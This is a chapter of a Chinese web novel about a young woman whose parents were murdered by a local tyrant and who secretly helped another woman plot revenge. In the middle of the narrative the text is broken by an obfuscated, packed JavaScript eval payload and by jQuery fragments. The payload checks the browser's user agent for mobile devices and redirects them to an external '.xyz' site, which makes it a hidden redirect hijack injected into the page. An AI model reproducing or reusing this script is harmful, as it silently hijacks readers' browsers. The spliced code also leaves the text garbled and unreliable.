12. 承诺

作品:《白月光今天又在算计我

    过了正午,天色一点点暗沉下来。


    江边僻静,拂过发梢的风温柔的擦拭清璇脸上的泪,她余光瞥见晏宁腰间挂着的荷包,微微一愣,“这个怎么会在你这?”


    荷包做工不算上佳,一针一线却缝得极其认真,尤其是上头的图案,绣着一个九字。


    天底下那么多的荷包,不可能所有的巧合都集中在一个上。


    迄今为止,她只在一人身上见过。


    清璇抬眼,“可否借我一看?”


    或许隔得远,她看错了也说不准。


    晏宁听她语气急切,不似作伪,干脆解下荷包,递过去。


    一放在手心,清璇便确定这是姜蓉贴身佩戴的,她忙道:“你认得姜蓉?”


    闻言,晏宁也正色起来,“你如何知道她?”


    一个是被困在节度府牢狱里的少女,一个是在外生活平淡的女子,两人看起来没有任何接触,完全不可能认识。


    若二人相识,是不是也就说明姜蓉和节度府之间发生了什么。


    晏宁眸色沉下来,“你因何被抓?守卫说沈章越一直想从你身上问出什么,他想问的究竟是何事?”


    她的语气步步紧逼,清璇下意识后退,但脑中又浮现那些苦痛与恨意,她掐着自己掌心,从牙缝中挤出一句,“沈章越害死了我的父母。”她道:“他害我家破人亡,只为了让我做他的妾室。”


    “我恨他!”


    “如果有人能助我杀他,我愿意舍弃一切,哪怕是我的命!”


    晏宁注意到她最后的话,“有人?”她眯了眯眼,“那人就是姜蓉?”


    清璇犹豫片刻,还是点头。


    “但我其实没帮上什么忙,我只是截获了一封信。”


    “什么信?”


    “一封沈章越亲笔写下的信。”


    晏宁又问:“之后你将信交给她了?”


    清璇点头,想起之后发生的事,她并不后悔,即便被打的遍体鳞伤,即便容颜不再,她也要替死去的至亲报仇,只因那人说过,会让施暴者受到应有的惩罚……


    她家境并不富裕,但爹娘对她很好,从来舍得在她身上花钱,凡是别的孩子有的,她也必然要有。


    爹娘从未因为她是个女儿身而放弃她。


    阿爹老实本分,虽不曾念过书,但也有意将她送去私塾,只因银钱不够,最终还是搁置了,阿娘恬静温柔,总是耐心的教导她。


    原本平淡的日子终是被沈章越打破。


    他也不知从哪瞧了她一眼,偏要将她带入府中为妾。


    爹娘将她含辛茹苦养大,可不是为了送她与人为妾的。


    那一日,傍晚时分,夕阳斜红。


    她被人拽到门外,眼睁睁地看着一柄长刀贯穿爹娘的腹部。


    血流满地。


    阿娘倒在血泊里,没来得及再看她一眼。


    落日的余晖洒在阿爹脸上,他紧紧抓着腹前的刀柄,像是不舍,又像是苦涩的望着她。


    无论她如何崩溃喊叫,沈章越都只淡淡吩咐一句,“把人给我带走。”


    她匆匆看了眼倒下的阿爹,耳畔仍在回荡着沈章越那声,“真晦气。”


    真晦气……


    对沈章越来说,两条人命是件晦气的事。


    在节度府的那几个月,她生不如死。


    有人同她说,刚来都一样寻死觅活,最后还不是乖乖地梳妆打扮,求公子临幸。


    对女子来说,有人宠爱,是件多么幸福的事。


    可清璇眼里只有恨意。


    除了恨意还有对自己的厌弃。


    她无法替父母报仇,还要委身于仇人。


    手中握紧的匕首,是她唯一的底气。


    可次次都被沈章越发现,招来更多的拳打脚踢。


    她身上流血,眼中流泪,从小没挨过打骂的她在那几个月里,都受了一遍。


    但她只能咬牙忍着,不能哭,会让人觉得软弱,她抬手反抗,迎面就是一耳光。


    那阵子,她脸上又红又肿,大抵是不堪入目,沈章越竟没来找她。


    就是那时,她遇到一个人。


    后院里,她一动不动地站着,高高的墙面像一座永远无法越过的山峰,她连笼中鸟都算不上。


    眼前树叶晃了晃,她看到有一人从树后钻出来。


    看起来与她差不多年岁,但脸上却干净得很,只是那双眼中藏着和她一样的情绪。


    对望片刻,清璇开口道:“你是谁?”


    说实话,一抬头看到眼前站着一个人,姜蓉的确吓了一跳,见她迟迟不曾喊人,虽不知她是何用意,但应该暂时无事。


    “你不是沈府的人。”姜蓉没回答她的问题,认真打量起她。


    “我自然不是。”说这话时,她没藏起语气里的恨,咬牙切齿的模样让姜蓉生了怀疑。


    “你恨他。”依旧是笃定的语气。


    是陈述,也是试探。


    无需说得太明白,二人都知道这个‘他’指的是谁。


    “恨。”清璇五官渐渐扭曲,每每想起那一日,心口的疼痛就像身上被撕开了一道口子,仇恨像剧毒渗入她的每一寸肌肤,无法隐藏。


    什么韬光养晦、蓄势待发,她完全无法做到。


    每次闭上眼,便是父母惨死的模样。


    心底的憎恨如同跌宕的波涛,汹涌澎湃,疼到她成宿成宿的睡不着,不敢松懈,紧绷的神经无时无刻不在提醒着她。


    “我恨不得用他的血来祭奠我的爹娘!”


    姜蓉静静看着她,似有感同身受,只是她的情绪不再像清璇这般——歇斯底里。


    没有用的。


    她深切的明白,挂在嘴上的仇恨无用,天真的想向节度使讨个说法更是愚蠢。


    她们不过低贱的平民,死便死了,谁能为她们讨公道呢?


    世上的公道是靠自己挣出来的。


    “我也恨他。”


    清璇抬眼看她,只望见平静幽深的眼眸,她的语气太轻了,以至于清璇觉得她的恨意也太轻了,轻到无法背负如她那般沉重的感情。


    姜蓉朝她走了一步,“你若帮我,我会让他生不如死。”


    清璇仍在怀疑,面前的女子同她一般年岁,如何能做到?她不敢轻信于她,但眼下除了她,再无人能帮她。


    她没得选。


    二人就此达成协议,静待时机。


    清璇看着沈章越变本加厉的掳掠民女,依旧是临清一霸,没人敢出言阻拦。


    她愈发怀疑姜蓉是不是在骗她,可骗她能有什么好处呢?


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15731029|174019||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    直到……


    “你说他写了一封信?”


    “不错。”清璇道:“信里具体写了什么我不清楚,但我看他今晨抓回一个姑娘,接着就将信交给门外的小厮。”


    姜蓉沉思片刻,道:“能将信拦下吗?”


    “我现在就去。”清璇也知紧要关头,不再多问,转身就往府外走。


    这些日子她安分守己,对沈章越百般讨好,也难得得了些自由,许她出府走动,但要人贴身跟着。


    她已尝试许多次把人甩开,这次总算成功。


    追上那个小厮后,她气喘吁吁,忙道:“公子想起信中还有话没交代,派我来同你讨回。”


    小厮认得她,疑惑问:“公子为何派你来?”


    “还不是……”清璇低下头,神色羞赧,“还不是公子正巧在我房中。”她左右看了看,凑近道:“事情隐秘,公子不想被旁人知晓,你应当明白。”


    几粒碎银放在小厮手上。


    小厮不疑有他,将信递过去,“那行,就劳你带回去了。”


    清璇将信交给姜蓉,期间并未打开,以至于到现在她也不知信中究竟写了什么,更不知姜蓉想拿信做何文章。


    只是这事还是被沈章越知道。


    他大发雷霆,要她交出那封信,可她自然拿不出来,沈章越就命令侍卫将她关入狱中,无论如何也要将她的嘴撬开。


    江面水波荡漾,山间的风清寒幽凉,天边阴云密布,沉重的仿佛要坠下来。


    有股风雨欲来的感觉。


    清璇说完,又是一阵沉默。


    良久,晏宁摩挲着荷包,低声喃喃:“你可知姜蓉心中的恨是什么?”


    是怎样的恨让她埋藏在心里,连在自己面前也没露出半分异样。


    晏宁低头沉思,她开始回想重逢以来的细节。


    在糕点铺外碰到姜蓉,她说是来买糖糕的,可她手中却没提着任何东西。


    是忘了?


    还有提到阿九时……


    对了,阿九!


    据姜蓉所说,阿九是无意溺水而亡,可临清城中并无湍急江流,又何来溺水之说呢?


    唯一的一条江。


    她站起身,看着眼前江流,淡漠的眸中有了一丝起伏,转身向远处眺望,江水如瀑,看似平静无波,但真正湍急之时,浪花击打岩石,足以将一个弱小的孩子冲向远方。


    而这条江水的尽头,不知是何处。


    所以,阿九的溺水身亡不是意外。


    可她一个孩子,如何能独自来到空旷的江边?


    除非有人引她来。


    她几乎将所有的细节串起来,深不见底的眼眸似一张挣不开的网,沉寂地压得人喘不过气。


    她脸上神情变幻莫测,清璇敏锐的察觉到,她此刻很生气,与方才折磨男人时又稍有不同,一种名为愤怒的情绪在她胸腔动荡。


    “我不知。”清璇摇头,“她从未提过。”


    与姜蓉合作以来,除了她的名字,她再未吐露过丝毫,大抵是她身上那股悲伤的味道让她卸下几分心防,愿意去相信她。


    她心中猜测,这是一个和她一样都失去过至亲的女子。


    得到这个答案,晏宁并不意外。


    姜蓉藏得很好,险些连她都被骗过去了。